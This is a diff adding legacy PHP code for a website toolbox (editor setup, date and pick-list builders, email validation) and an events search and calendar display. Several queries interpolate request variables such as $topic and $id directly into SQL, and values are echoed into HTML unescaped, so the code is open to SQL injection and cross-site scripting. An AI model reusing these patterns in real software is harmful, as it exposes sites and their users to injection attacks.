+ <script type="text/javascript" src="'.URL_BASE.'admin/htmlarea/htmlarea.js">
+ </script>
+ ';
+ echo '
+ <script type="text/javascript">
+ //<![CDATA[
+
+ ';
+ if( HTMLAREA_CONTEXT_MENU )
+ {
+ echo '
+ HTMLArea.loadPlugin("ContextMenu");
+ ';
+ }
+ if( HTMLAREA_TABLES )
+ {
+ echo '
+ HTMLArea.loadPlugin("TableOperations");
+ ';
+ }
+ echo '
+ initdocument = function () {
+ var editor = new HTMLArea("description");
+
+ ';
+
+ echo '
+ editor.config.toolbar = [
+ [ "fontname", "space",
+ "fontsize", "space",
+ "formatblock", "space",
+ "bold", "italic", "underline", "separator" ],
+
+ [ "justifyleft", "justifycenter", "justifyright", "justifyfull", "separator",
+
+ "insertorderedlist", "insertunorderedlist", "outdent", "indent", "separator",
+ "forecolor", "separator",
+ "inserthorizontalrule", "createlink"';
+ if( HTMLAREA_TABLES )
+ {
+ echo ', "inserttable"';
+ }
+ echo ', "htmlmode", "separator",
+ "copy", "cut", "paste", "space", "undo", "redo" ]
+ ];
+ ';
+ if( HTMLAREA_CONTEXT_MENU )
+ {
+ echo '
+ // add a contextual menu
+ editor.registerPlugin("ContextMenu");
+ ';
+ }
+ echo '
+
+ // load the stylesheet used by our CSS plugin configuration
+ //editor.config.pageStyle = "@import url(../../styles.css);";
+ ';
+ if( HTMLAREA_TABLES )
+ {
+ echo '
+
+ // register the TableOperations plugin
+ editor.registerPlugin(TableOperations);
+ ';
+ }
+ echo '
+ editor.generate();
+ }
+ function addEvent(obj, evType, fn)
+ {
+ if (obj.addEventListener) { obj.addEventListener(evType, fn, true); return true; }
+ else if (obj.attachEvent) { var r = obj.attachEvent("on"+evType, fn); return r; }
+ else { return false; }
+ }
+ addEvent(window, \'load\', initdocument);
+ //]]>
+ </script>
+ ';
+ }
+
+ /**
+ * date_entry : Generate the select boxes for date entry
+ * month-day-year as drop down select
+ * @param mixed $month:
+ * @param mixed $day:
+ * @param mixed $year:
+ * @param mixed $month_name: name of select month
+ * @param mixed $day_name: name of select day
+ * @param mixed $year_name : name of select year
+ *
+ * @return string
+ * @access public
+ **/
+ function date_entry($month,$day,$year,$month_name,$day_name,$year_name)
+ {
+ $cur_date = getdate();
+
+ if($month == "")
+ {
+ $month = $cur_date['mon'];
+ }
+ if($day == "")
+ {
+ $day = $cur_date['mday'];
+ }
+ if($year == "")
+ {
+ $year = $cur_date['year'];
+ }
+ $date = '<SELECT NAME="'.$month_name.'">';
+ for($i=1;$i<13;$i++)
+ {
+ $date .= '<OPTION VALUE="';
+ if($i < 10)
+ {
+ $date .= "0";
+ }
+ $date .= $i.'"';
+ if($i == $month)
+ {
+ $date .= ' SELECTED';
+ }
+ $date .= '>'.$i;
+ }
+ $date .= '</SELECT>';
+ $date .= '<SELECT NAME="'.$day_name.'">';
+ for($i=1;$i<32;$i++)
+ {
+ $date .= '<OPTION VALUE="';
+ if($i < 10)
+ {
+ $date .= "0";
+ }
+ $date .= $i.'"';
+ if($i == $day)
+ {
+ $date .= ' SELECTED';
+ }
+ $date .= '>'.$i;
+ }
+ $date .= '</SELECT>';
+ $date .= '<SELECT NAME="'.$year_name.'">';
+ for($i=2000;$i<2023;$i++)
+ {
+ $date .= '<OPTION VALUE="'.$i.'"';
+ if($i == $year)
+ {
+ $date .= ' SELECTED';
+ }
+ $date .= '>'.$i;
+ }
+ $date .= '</SELECT>';
+ return $date;
+ }
+
+ /**
+ * contact_date_entry : build select boxes for date entry going backwords in years
+ * @param mixed $month:
+ * @param mixed $day:
+ * @param mixed $year:
+ * @param mixed $month_name: name of select month
+ * @param mixed $day_name: name of select day
+ * @param mixed $year_name : name of select year
+ *
+ * @return void
+ * @access public
+ **/
+ function contact_date_entry($month,$day,$year,$month_name,$day_name,$year_name)
+ {
+ $cur_date = getdate();
+
+ if($month == "")
+ {
+ $month = $cur_date['mon'];
+ }
+ if($day == "")
+ {
+ $day = $cur_date['mday'];
+ }
+ if($year == "")
+ {
+ $year = $cur_date['year'];
+ }
+ $date = '<SELECT NAME="'.$month_name.'">';
+ for($i=1;$i<13;$i++)
+ {
+ $date .= '<OPTION VALUE="';
+ if($i < 10)
+ {
+ $date .= "0";
+ }
+ $date .= $i.'"';
+ if($i == $month)
+ {
+ $date .= ' SELECTED';
+ }
+ $date .= '>'.$i;
+ }
+ $date .= '</SELECT>';
+ $date .= '<SELECT NAME="'.$day_name.'">';
+ for($i=1;$i<32;$i++)
+ {
+ $date .= '<OPTION VALUE="';
+ if($i < 10)
+ {
+ $date .= "0";
+ }
+ $date .= $i.'"';
+ if($i == $day)
+ {
+ $date .= ' SELECTED';
+ }
+ $date .= '>'.$i;
+ }
+ $date .= '</SELECT>';
+ $date .= '<SELECT NAME="'.$year_name.'">';
+ $ystart = $cur_date['year'] - 10;
+ for($i=$ystart;$i<=$year;$i++)
+ {
+ $date .= '<OPTION VALUE="'.$i.'"';
+ if($i == $year)
+ {
+ $date .= ' SELECTED';
+ }
+ $date .= '>'.$i;
+ }
+ $date .= '</SELECT>';
+ return $date;
+ }
+
+ /**
+ * time_entry
+ *
+ * build select boxes for time entry
+ *
+ * @param mixed $H
+ * @param mixed $m
+ * @param mixed $F
+ * @param mixed $H_name
+ * @param mixed $m_name
+ * @param mixed $F_name
+ * @access public
+ * @return void
+ */
+ function time_entry( $H, $m, $F, $H_name, $m_name, $F_name )
+ {
+ $cur_date = getdate();
+ if($H == "")
+ {
+ $H = $cur_date['hours'];
+ }
+ if($m == "")
+ {
+ $m = $cur_date['minutes'];
+ }
+ if($H>12)
+ {
+ $F = "PM";
+ $H = $H - 12;
+ }
+ $time = "Hr:<select name=\"$H_name\" size=\"1\">";
+ for($i=1;$i<=12;$i++)
+ {
+ $time .= "<option value=\"";
+ if($i < 10)
+ {
+ $time .= "0";
+ }
+ $time .= "$i\"";
+ if($i == $H)
+ {
+ $time .= " selected";
+ }
+ $time .= ">$i\n";
+ }
+ $time .= "</select>\n";
+ $time .= "Min:<select name=\"$m_name\" size=\"1\">";
+ for($i=0;$i<60;$i=$i+15)
+ {
+ $time .= "<Option value=\"";
+ if($i < 10)
+ {
+ $time .= "0";
+ }
+ $time .= "$i\"";
+ if($i == $m)
+ {
+ $time .= " selected";
+ }
+ $time .= ">";
+ if($i < 10)
+ {
+ $time .= "0";
+ }
+ $time .= "$i\n";
+ }
+ $time .= "</select>";
+ $time .= "<select name=\"$F_name\" size=\"1\">";
+ $time .= "<option value=\"AM\"";
+ if($F == "AM")
+ {
+ $time .= " selected";
+ }
+ $time .= ">AM\n";
+ $time .= "<option value=\"PM\"";
+ if($F == "PM")
+ {
+ $time .= " selected";
+ }
+ $time .= ">PM\n";
+ $time .= "</select>\n";
+ return $time;
+ }
+
+ /**
+ * get_parentid
+ *
+ * get the (highest level) parent category for this id
+ *
+ * @param mixed $id
+ * @access public
+ * @return void
+ */
+ function get_parentid( $id )
+ {
+ static $parentshow;
+ if( $id == 0 )
+ {
+ return( 0 );
+ }
+ if(!is_array($parentshow))
+ {
+ $qs = "select parent from bus_category where id = $id";
+ $parentrow = GLM_TOOLBOX::db_auto_get_data( $qs );
+ }
+ if($parentrow[0]['parent'] == 0)
+ {
+ return($id);
+ }
+ else
+ {
+ return( GLM_TOOLBOX::get_parentid($parentrow[0]['parent']) );
+ }
+ }
+
+ function build_checklist( $name, $data, $selected = null )
+ {
+ if (!$selected) {
+ $sel = null;
+ } elseif (!is_array($selected)) {
+ $sel[0] = $selected;
+ } else {
+ $sel = $selected;
+ }
+ if( !is_array( $data ) )
+ {
+ return( false );
+ }
+ foreach( $data as $field => $title )
+ {
+ $out .= '<label><input type="checkbox" name="'.$name.'['.$field.']" value="t"';
+ if( is_array($sel) && !empty($sel) && $_POST[$name][$field] == 't' )
+ {
+ $out .= ' checked';
+ }
+ $out .= '>'.$title.'</label>';
+ }
+ return( $out );
+ }
+
+ /**
+ * build_picklist
+ *
+ * Builds a pick list from an array
+ *
+ * @param mixed $fieldname
+ * @param mixed $data
+ * @param mixed $selected
+ * @param string $type
+ * @param int $auto
+ * @param mixed $width
+ * @access public
+ * @return void
+ */
+ function build_picklist( $fieldname, $data, $selected, $type = "standard",$auto = 0,$width = NULL )
+ {
+ if(!is_array($selected))
+ {
+ $sel[0] = $selected;
+ }
+ else
+ {
+ $sel = $selected;
+ }
+ if($auto == 1)
+ $autosubmit = "onChange=\"form.submit()\"";
+ if($width)
+ $autosubmit .= "style=\"width:".$width."px;\"";
+ switch( $type )
+ {
+ case "multiple":
+ $str = "<select name=\"".$fieldname."\" multiple size=\"10\" ".$autosubmit.">\n";
+ while( list($key, $val) = each($data) )
+ {
+ if( in_array($key,$sel) )
+ {
+ $select = " selected ";
+ }
+ else
+ $select = "";
+ $str .= " <option value=\"$key\"".$select.">$val\n";
+ }
+ break;
+ case "simple":
+ $str = "<select name=\"$fieldname\" ".$autosubmit.">\n";
+ for( $i=0 ; $i<count($data) ; $i++ )
+ {
+ $select = (in_array($data[$i],$sel)) ? " selected ":"";
+ $str .= " <option value=\"".$data[$i]."\"".$select.">".$data[$i]."\n";
+ }
+ break;
+
+ case "standard":
+ default:
+ $str = "<select name=\"$fieldname\" ".$autosubmit.">\n";
+ while( list($key, $val) = each($data) )
+ {
+ $select = (in_array($key,$sel)) ? " selected ":"";
+ $str .= " <option value=\"$key\"".$select.">$val\n";
+ }
+ break;
+ }
+ $str .= "</select>\n";
+
+ return( $str );
+
+ }
+
+ /**
+ * create_page_links:Create prev and next links
+ * to page through the results.
+ * @param mixed $totalnum: The total result of the query
+ * @param mixed $num: The total result for the page
+ * @param mixed $start=0: The starting num defaults to 0
+ * @param mixed $params: variables to add to the url
+ * @param mixed $ENTRIES_PER_PAGE: number of items on page defaults to the ENTRIES_PER_PAGE
+ *
+ * @return string of links
+ * @access public
+ **/
+ function create_page_links($totalnum,$num,$start=0,$params,$page_length=ENTRIES_PER_PAGE)
+ {
+ // FIND out which page we're on.
+ if($totalnum!=0)
+ {
+ $total_pages = floor($totalnum / $page_length); // total pages = the total result divided by page length rounded down
+ $total_pages++; // then add one
+ if($start == 0) // if start is 0 then page is one
+ {
+ $page = 1;
+ }
+ else
+ {
+ $page = ($start / $page_length) + 1;
+ }
+ }
+
+ if($totalnum > $page_length && ( $page != $totalpages ) )
+ {
+ $end = $page_length + $start;
+ }
+ else
+ {
+ $end = $totalnum;
+ }
+ $last = $start - $page_length;
+ if(($start - $page_length) < 0)
+ $prev = "";
+ else
+ $prev = "<span class=\"accenttext\">[</span><a class=\"small\"
+ href=\"$GLOBALS[PHP_SELF]?start=".$last."&$params\">PREVIOUS PAGE</a><span
+ class=\"accenttext\"> ]</span>";
+ if($end < $totalnum)
+ $next = "<span class=\"accenttext\">[</span><a class=\"small\"
+ href=\"$GLOBALS[PHP_SELF]?start=".$end."&$params\">NEXT PAGE</a><span
+ class=\"accenttext\"> ]</span>";
+ else
+ $next = "";
+ $starting = $start + 1;
+ $last_c = $start + $num;
+ $links = '<center><span class="pagetitle">Listings Displayed: </span><span
+ class="accenttext">'.$starting.' to '.$last_c.'</span>
+ <span class="pagetitle"> of '.$totalnum.'<br></span> '.$prev. ' <span
+ class="pagetitle"></span> '.$next.'<BR></span></center>';
+ return($links);
+ }
+
+ /**
+ * valid_email
+ * Checks for a valid format and good (mx check) email address.
+ *
+ * @param mixed $email
+ * @access public
+ * @return void
+ */
+ function valid_email($email, $checkdns = false)
+ {
+ // First, we check that there's one @ symbol, and that the lengths are right
+ if (!ereg("^[^@]{1,64}@[^@]{1,255}$", $email))
+ {
+ // Email invalid because wrong number of characters in one section, or wrong number of @ symbols.
+ return false;
+ }
+ // Split it into sections to make life easier
+ $email_array = explode("@", $email);
+ $local_array = explode(".", $email_array[0]);
+ for ($i = 0; $i < sizeof($local_array); $i++)
+ {
+ if (!ereg("^(([A-Za-z0-9!#$%&'*+/=?^_`{|}~-][A-Za-z0-9!#$%&'*+/=?^_`{|}~\.-]{0,63})|(\"[^(\\|\")]{0,62}\"))$", $local_array[$i]))
+ {
+ return false;
+ }
+ }
+ if (!ereg("^\[?[0-9\.]+\]?$", $email_array[1]))
+ {
+ // Check if domain is IP. If not, it should be valid domain name
+ $domain_array = explode(".", $email_array[1]);
+ if (sizeof($domain_array) < 2)
+ {
+ return false; // Not enough parts to domain
+ }
+ for ($i = 0; $i < sizeof($domain_array); $i++)
+ {
+ if (!ereg("^(([A-Za-z0-9][A-Za-z0-9-]{0,61}[A-Za-z0-9])|([A-Za-z0-9]+))$", $domain_array[$i]))
+ {
+ return false;
+ }
+ }
+ }
+ if ($checkdns && !(checkdnsrr($email_array[1], 'MX') || checkdnsrr($email_array[1], 'A'))) {
+ return false;
+ }
+ return true;
+ }
+ }
+ ?>
--- /dev/null
+<?php
+/**
+ * Instructions -
+ * three arrays are used
+ * $row[$i][fields]
+ * $date_begin[$i][fields]
+ * $date_end[$i][fields]
+ *
+ * @package Toolbox
+ * @subpackage Event
+ * @author Steve Sutton
+ * @filesource
+ */
+echo '<link rel="stylesheet" type="text/css" href="events.css">';
+if(!$dbd = db_connect())
+ {
+ html_error(DB_ERROR_MSG,1);
+ }
+$month_id = array( "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" );
+// Set up the $selection array to get a query box use only item fields
+$selection = array( );
+// Month part do not change
+$qs = "SELECT bdate,date_part('month', bdate) as d1_month,
+ date_part('month', edate) as d2_month,
+ date_part('year', bdate) as d1_year,
+ date_part('year', edate) as d2_year
+ FROM event
+ WHERE edate > CURRENT_DATE
+ AND visable = 't'
+ ORDER BY bdate ASC;";
+ $result = db_Exec($dbd,$qs);
+if(!$result)
+ {
+ html_error(DB_ERROR_MSG.$qs,0);
+ }
+echo "<br><a name=\"event\"></a>";
+echo "<form action=\"$PHP_SELF#event\" method=\"POST\">";
+echo '<input type="hidden" name="catid" value="'.$GLOBALS["catid"].'">';
+for($i=0;$i<pg_numrows($result);$i++)
+ {
+ $data = db_fetch_array($result,$i,PGSQL_ASSOC);
+ $s_month = $data['d1_month'];
+ $s_year = $data['d1_year'];
+ $e_month = $data['d2_month'];
+ $e_year = $data['d2_year'];
+ $watchdog = 20;
+ for( $y=$s_year, $m=$s_month; !($y==$e_year && $m==$e_month+1) ; )
+ {
+ if( $m == 13 )
+ {
+ $y++;
+ $m = 1;
+ }
+ $emonth = sprintf( "%02d %04d", $m, $y );
+ if( !isset($emonths["$emonth"]) )
+ {
+ $emonths["$emonth"] = 0;
+ }
+ $emonths["$emonth"]++;
+ if( $watchdog-- == 0 )
+ {
+ break 1;
+ }
+ $m++;
+ }
+ }
+// Selections part
+while( list($key,$value) = each($selection))
+ {
+ $qs = "SELECT
+ DISTINCT $key
+ FROM event
+ WHERE visable = 't'
+ AND edate >= CURRENT_DATE
+ ORDER BY $key;";
+ $result = db_exec($dbd,$qs);
+ if(!$result) html_error(DB_ERROR_MSG.$qs,0);
+
+ echo "<select name=\"$key\">
+ <option value=\"All\" selected>Show All $value\n";
+
+ for ($i=0;$i<pg_numrows($result);++$i)
+ {
+ $data = pg_result($result,$i,$key);
+ if($data != "")
+ {
+ echo "<option value=\"$data\">$data\n";
+ }
+ }
+
+ echo "</select>\n";
+ }
+// topic part
+$qs = "SELECT
+DISTINCT ON (t.descr) t.id,t.descr
+FROM topic t, event e
+WHERE e.visable = 't'
+AND e.edate >= CURRENT_DATE
+AND e.topicid = t.id
+ORDER BY t.descr";
+$result = db_exec($dbd,$qs);
+if(!$result) html_error(DB_ERROR_MSG.$qs,0);
+
+echo "<select name=\"topic\">
+<option value=\"All\" selected>Show All Topics\n";
+
+for ($i=0;$i<pg_numrows($result);++$i)
+ {
+ $data = db_fetch_array($result,$i,PGSQL_ASSOC);
+ if($data != "")
+ {
+ echo "<option value=\"$data[id]\">$data[descr]\n";
+ }
+ }
+
+echo "</select>\n";
+// Month part (output)
+$month_qs = "SELECT
+DISTINCT bdate
+FROM event
+WHERE visable = 't'
+AND edate >= CURRENT_DATE
+ORDER BY bdate;";
+
+$result = db_exec($dbd, $month_qs);
+if(!$result) html_error(DB_ERROR_MSG.$month_qs,0);
+echo "<select name=\"month\">
+<option value=\"All\" selected>Show All Months\n";
+if(isset($emonths) && is_array($emonths))
+ {
+ for(reset($emonths);$key=key($emonths);next($emonths))
+ {
+ $date = mktime(0,0,0,(integer)substr($key,0,2),1,substr($key,3,4));
+ $now = mktime(0,0,0,date("m"),1,date("Y"));
+ if($date>=$now)
+ {
+ echo "<option value=\"$key\">";
+ $m = substr( $key, 0, 2 );
+ echo $month_id[$m-1]." ".substr($key,3,4)."\n";
+ }
+ }
+ }
+
+?>
+<!--- #EndCalendarofEventsSearch -->
+</select>
+<input type="SUBMIT" value="GO" name="SUBMIT">
+</form>
+ <?
+if(!isset($month))
+ {
+ $month = "All";//date("m Y");
+ }
+if(!$_POST["topic"] && !$_POST["month"])
+ {
+ $stick = " LIMIT 1 OFFSET 1";
+ }
+$qs = " SET DATESTYLE TO 'SQL,US'; SELECT *
+ FROM event
+ WHERE visable = 't'";
+ if(isset($topic) && $topic != "All")
+ {
+ $qs .= "\nAND topicid = $topic";
+ }
+if($month != "All")
+ {
+ if(!is_numeric($month))
+ {
+ $m = substr($month,0,2);
+ $y = substr($month,3,4);
+ $smonth = date("m-d-Y",mktime(0,0,0,$m,1,$y));
+ $emonth = date("m-d-Y",mktime(0,0,0,$m+1,0,$y));
+ }
+ else
+ {
+ $m = (int)$month;
+ if( !$GLOBALS['year'] )
+ {
+ $y = date("Y");
+ }
+ $smonth = date("m-d-Y",mktime(0,0,0,$m,1,$y));
+ $emonth = date("m-d-Y",mktime(0,0,0,$m+1,0,$y));
+ }
+ $qs .= "\nAND edate >= '$smonth'
+ AND bdate <= '$emonth'";
+ }
+else
+{
+ $qs .= " AND edate >= CURRENT_DATE ";
+}
+$qs .= "\nORDER BY bdate ASC $stick";
+if(!$res = db_exec($dbd,$qs))
+ {
+ html_error(DB_ERROR_MSG.$qs,0);
+ }
+while($result = pg_fetch_array($res))
+ {
+ $datares[] = $result;
+ }
+if(is_array($datares))
+ {
+ foreach($datares as $eventkey=>$eventval)
+ {
+ //$eventrow["$eventval[mon]"][] = $datares[$eventkey];
+ $mon = date("m",strtotime($eventval['bdate']));
+ $mon2 = date("m",strtotime($eventval['edate']));
+ for($i = (int)$mon;$i <= (int)$mon2;$i++)
+ {
+ // if month exists then only show that month
+
+ if($month == "All" || ( (int)$month == (int)$i ) )
+ {
+ $eventrow["$i"][] = $datares[$eventkey];
+ }
+ }
+ }
+ }
+if(is_array($eventrow))
+ {
+ $display_month = "";
+ foreach($eventrow as $ekey=>$row)
+ {
+ if((int)$display_month != (int)$ekey)
+ {
+ echo '<h1 class="eventh1">'.date("F",mktime(0,0,1,$ekey,1,date("Y"))).'</h1>';
+ }
+ $display_month = (int)$ekey;
+ //foreach($row as $key=>$value)
+ //{
+ echo $this->make_events($row);
+ //}
+ }
+ /*
+ foreach($row as $key=>$value)
+ {
+ if($value['sdate'])
+ {
+ $sdate = strtotime($value["sdate"]);
+ $edate = strtotime($value["edate"]);
+ $thedate = GLM_TEMPLATE::get_event_date($sdate,$edate,"timestamp");
+ }
+ else
+ {
+ $thedata = '';
+ }
+ if($value['img'])
+ {
+ $img = "<img src=\"".MIDSIZED.$value['img']."\" align=\"right\" vspace=\"5\" hspace=\"7\">";
+ }
+ else
+ {
+ $img = "";
+ }
+ if($value['email'] && $value['contact'])
+ {
+ $email = "Contact: <a class=\"link\" href=\"mailto:".$value['email']."\">".$value['contact']."</a><br>";
+ }
+ elseif($value['email'] && !$value['contact'])
+ {
+ $email = "Contact:<a class=\"link\" href=\"mailto:".$value['email']."\">".$value['email']."</a><br>";
+ }
+ elseif($value['contact'] && !$value['email'])
+ {
+ $email = "Contact:>".$value['contact']."<br>";
+ }
+ else
+ {
+ $email = "";
+ }
+ if($value['url'])
+ {
+ $url = "<div class=\"eventurl\">Web Site: <a class=\"link\" href=\"http://".$value['url']."\"
+ target=\"_BLANK\">".$value['url']."</a></div>";
+ }
+ else
+ {
+ $url = "";
+ }
+ if($value['btime'] && $value['etime'])
+ {
+ $time = "Time: ".GLM_EVENTS::format_to_time($value['btime'])." To ".GLM_EVENTS::format_to_time($value['etime'])."<br>";
+ }
+ elseif($value['btime'] && !$value['etime'])
+ {
+ $time = "Time: ".GLM_EVENTS::format_to_time($value['btime'])."<br>";
+ }
+ else
+ {
+ $time = "";
+ }
+ if($img)
+ {
+ echo $img;
+ }
+ echo "<div class=\"eventheader\"><b>".$value['header']."</b></div>";
+ echo '<div><span class="eventdate">'.$thedate.' </span></div>';
+ echo "<div class=\"text\">".$time."</div>";
+ if($value['topic'])
+ {
+ echo "<div class=\"text\">Topic:".$value['topic']."</div>";
+ }
+ if($value['loc'])
+ {
+ echo '<span class="eventloc">Location: </span><span
+ class="eventvalue">'.$value['loc']."<span><br>";
+ }
+ echo $email."<div class=\"text\">";
+ if($value['descr'])
+ {
+ echo nl2br($value['descr']);
+ }
+ echo $url."<br clear=\"all\">";
+ //if(!$eventid)
+ //echo "</div><div class=\"homeeventmore\"><a
+ // href=\"events.phtml?pink=$pink&eventid=$value[id]\">details...</a></div><br clear=\"all\">";
+ }
+ */
+ //}
+ }
+?>
--- /dev/null
+<?
+/**
+ * Event Calendar display
+ * used by class_events.inc to display colanedar output.
+ *
+ * @package Toolbox
+ * @subpackage Event
+ * @author Steve Sutton
+ * @filesource
+ */
+$LEFTLINK = '<img src="'.BASE_URL.'images/left.gif" class="calleftarrow" border="0">';
+$RIGHTLINK = '<img src="'.BASE_URL.'images/right.gif" class="calrightarrow" border="0">';
+$dbd = db_connect(CONN_STR);
+/**
+ * GetTimeStamp
+ * Get unix timestamp from sql date
+ *
+ * @param mixed $MySqlDate
+ * @access public
+ * @return void
+ */
+function GetTimeStamp($SqlDate)
+{
+ $date_array = explode("-",$SqlDate); // split the array
+
+ $var_year = $date_array[0];
+ $var_month = $date_array[1];
+ $var_day = $date_array[2];
+
+ $var_timestamp = mktime(0,0,0,$var_month,$var_day,$var_year);
+ return($var_timestamp); // return it to the user
+}
+/**
+ * ordinalDay
+ * get ordinal (th) day for given timestamp
+ *
+ * @param mixed $ord
+ * @param mixed $day
+ * @param mixed $month
+ * @param mixed $year
+ * @access public
+ * @return void
+ */
+function ordinalDay($ord, $day, $month, $year)
+{
+ $firstOfMonth = GetTimeStamp("$year-$month-01");
+ $lastOfMonth = $firstOfMonth + date("t", $firstOfMonth) * 86400;
+ $dayOccurs = 0;
+
+ for ($i = $firstOfMonth; $i < $lastOfMonth ; $i += 86400)
+ {
+ if (date("w", $i) == $day)
+ {
+ $dayOccurs++;
+ if ($dayOccurs == $ord)
+ {
+ $ordDay = $i;
+ }
+ }
+ }
+ return $ordDay;
+}
+/**
+ * lastDoyOfMonth
+ *
+ * <p>given timestamp get the last day of the month it
+ * fall in</p>
+ *
+ * @param string $timestamp
+ * @return string timestamp
+ */
+function lastDayOfMonth($timestamp = ''){
+ if($timestamp=='') $timestamp=time();
+ return( mktime(0,0,0, date("m",$timestamp)+1, 1, date("Y",$timestamp))-3600*24);
+}
+
+/**
+ * firstDayOfMonth
+ *
+ * <p>Given the timestamp find first day of the month it
+ * fall in</p>
+ *
+ * @param string $timestamp
+ * @return string timestamp
+ */
+function firstDayOfMonth($timestamp=''){
+ if($timestamp=='') $timestamp=time();
+ return(mktime(0,0,0, date("m",$timestamp), 1, date("Y",$timestamp)));
+}
+
+/**
+ * set up the monht day and year vars if not already set.
+ */
+if(!$year)
+{
+ $year = date("Y");
+}
+if(!$month || $month == "All")
+{
+ $month = date("n");
+}
+if(ereg("^0([0-9]).*",$month,$part))
+{
+ $month = $part[1];
+}
+$st1 = mktime(0,0,0,$month - 1,1,$year);
+$st2 = mktime(0,0,0,$month + 1,1,$year);
+/**
+ * build start and end timestamps for getting an array of events for the
+ * month.
+ */
+$starting = date("m-d-Y",firstDayOfMonth($st1));
+$ending = date("m-d-Y",lastDayOfMonth($st2));
+/**
+ * Grab the events for this month.
+ * NOTE: case statement in this query will order the ones that span more than 1 day.
+ */
+$query = "SET DATESTYLE TO 'SQL,US';
+SELECT e.id,e.header,
+ date_part('month',e.bdate) as mon,
+ date_part('day',e.bdate) as day,
+ date_part('year',e.bdate) as yr,
+ date_part('month',e.edate) as mon2,
+ date_part('day',e.edate) as day2,
+ date_part('year',e.edate) as yr2,
+ bdate as sdate, e.edate as edate,weekom,
+ e.btime,e.etime,e.descr,e.loc,e.contact,e.email,e.url,
+ e.img,e.daysow,e.reacur,t.topiccolor,
+ case when reacur = 't' then 0
+when (e.edate - e.bdate) > 1 then (e.edate - e.bdate)
+ else 0
+ end as sortflag
+FROM event e left outer join topic t on (t.id = e.topicid)
+ WHERE visable = 't'";
+ $query .= " AND e.bdate <= '$ending'
+ AND e.edate >= '$starting' $addpart";
+ $query .= "ORDER BY sortflag desc,e.bdate DESC,e.btime ASC";
+ $events_data = db_auto_get_data($query,CONN_STR);
+ /**
+ * End of query and now wee have the data and must arrange this to place in the calendar.
+ * this will result in an array like the following:
+ * $newdata['x-date'] = $row;
+ * in which x-data is the date of the event (ie.) $months['08-07-2005']
+ * and 4row is the $rom from the $evwents_data array
+ */
+if(is_array($events_data))
+{
+ foreach($events_data as $key=>$row)
+ {
+ $daysow = (int)$row["daysow"];
+ $weekom = (int)$row["weekom"];
+ $mon = (int)$row["mon"];
+ $day = (int)$row["day"];
+ $yr = (int)$row["yr"];
+ $mon2 = (int)$row["mon2"];
+ $day2 = (int)$row["day2"];
+ $yr2 = (int)$row["yr2"];
+ $sdate = mktime(0,0,30,$mon,$day,$yr);
+ $edate = mktime(0,0,30,$mon2,$day2,$yr2);
+ if($weekom && $weekom != "")
+ {
+ if($daysow)
+ {
+ $ri = 1;
+ for($r=0;$r<7;$r++)
+ {
+ if($daysow & $ri)
+ {
+ $ord = ordinalDay($weekom,$r,$month,$year);
+ }
+ $ri = $ri << 1;
+ }
+ }
+ else
+ {
+ $ord = NULL;
+ }
+ }
+ else
+ {
+ $ord = NULL;
+ }
+ for($d=$day;$d<32;$d++)
+ {
+ // find the current_doyow
+ $cur_dow = date("w",mktime(0,0,30,$mon,$d,$yr));
+ switch($cur_dow)
+ {
+ case 0:
+ $cur_dow = 1;
+ break;
+ case 1:
+ $cur_dow = 2;
+ break;
+ case 2:
+ $cur_dow = 4;
+ break;
+ case 3:
+ $cur_dow = 8;
+ break;
+ case 4:
+ $cur_dow = 16;
+ break;
+ case 5:
+ $cur_dow = 32;
+ break;
+ case 6:
+ $cur_dow = 64;
+ break;
+ }
+ $date = date("m-d-Y",mktime(0,0,30,(int)$mon,(int)$d,(int)$yr));
+ $daysinmonth = date("t",mktime(0,0,30,$mon,$d,$yr));
+ $time = mktime(0,0,30,(int)$mon,(int)$d,(int)$yr);
+ $starttime = mktime(0,0,30,(int)$mon,(int)$d,(int)$yr);
+ $endtime = mktime(0,0,30,(int)$mon,(int)$d,(int)$yr);
+ if( $row["reacur"] != "t" && $sdate <= $time && $edate >= $time )
+ {
+ if($starttime<=$time && $endtime>=$time )
+ {
+ $newdata["$date"][] = $row;
+ }
+ }
+ if( $daysow )
+ {
+ if($weekom && $time && $ord)
+ {
+ if( date("m-d-Y",$time) == date("m-d-Y",$ord))
+ {
+ $newdata["$date"][] = $row;
+ }
+ }
+ elseif(!$weekom && (int)$cur_dow&$daysow)
+ {
+ if($edate>=$time && $sdate<=$time )
+ {
+ $newdata["$date"][] = $row;
+ }
+ }
+ }
+ if($mon2>$mon && $d==$daysinmonth)
+ {
+ $d=0;
+ $mon++;
+ if($mon==13)
+ {
+ $mon=1;
+ }
+ }
+ if($yr2>$yr && $d==$daysinmonth)
+ {
+ $d=0;
+ $mon++;
+ if($mon==13)
+ {
+ $mon=1;
+ }
+ }
+ if($yr2>$yr && $mon==12)
+ {
+ $d=0;
+ $mon=0;
+ $yr++;
+ }
+ }
+ }
+}
+$GLOBALS['newdata'] = $newdata;
+/**
+ * GLOBALS['colorArray'] is used for the colors for this application.
+ * If these need to be changed then it might be better putting this in setup.phtml.
+ */
+$GLOBALS['colorArray'] = array( '#FFCCCC' => 'color1',
+ '#CC9999' => 'color2',
+ '#FF9999' => 'color3',
+ '#FFCCFF' => 'color4',
+ '#CC99CC' => 'color5',
+ '#FF99FF' => 'color6',
+ '#CCCCFF' => 'color7',
+ '#9999CC' => 'color8',
+ '#9999FF' => 'color9',
+ '#CCFFFF' => 'color10',
+ '#99CCCC' => 'color11',
+ '#99FFFF' => 'color12',
+ '#CCFFCC' => 'color13',
+ '#99CC99' => 'color14',
+ '#99FF99' => 'color15',
+ '#FFFFCC' => 'color16',
+ '#CCCC99' => 'color17',
+ '#FFFF99' => 'color18',
+ '#FFCC99' => 'color19',
+ '#FF99CC' => 'color20',
+ '#CC99FF' => 'color21',
+ '#99CCFF' => 'color22',
+ '#99FFCC' => 'color23',
+ '#CCFF99' => 'color24',
+ '#CCCCCC' => 'color25' );
+/**
+ * disColor
+ *
+ * <p>Goes back to color array and grabs the class for that peticular color.</p>
+ *
+ * @param string $color
+ * @return stirng class to use for style.
+ */
+function disColor( $color )
+{
+ if( !is_array( $GLOBALS['colorArray'] ) )
+ {
+ die('not an array');
+ }
+ // get style class for this color
+ return( $GLOBALS['colorArray'][$color] );
+}
+/**
+ * show_event_headers
+ *
+ * @param mixed $date
+ * @access public
+ * @return void
+ */
+function show_event_headers($date)
+{
+ global $newdata;
+ if(ereg("([0-9]{1,2})[-/]([0-9]{1,2})[-/]([0-9]{4})",$date,$dpart))
+ {
+ $month = (int)$dpart[1];
+ $year = (int)$dpart[3];
+ }
+ if(!is_array($newdata[$date]))
+ {
+ return(false);
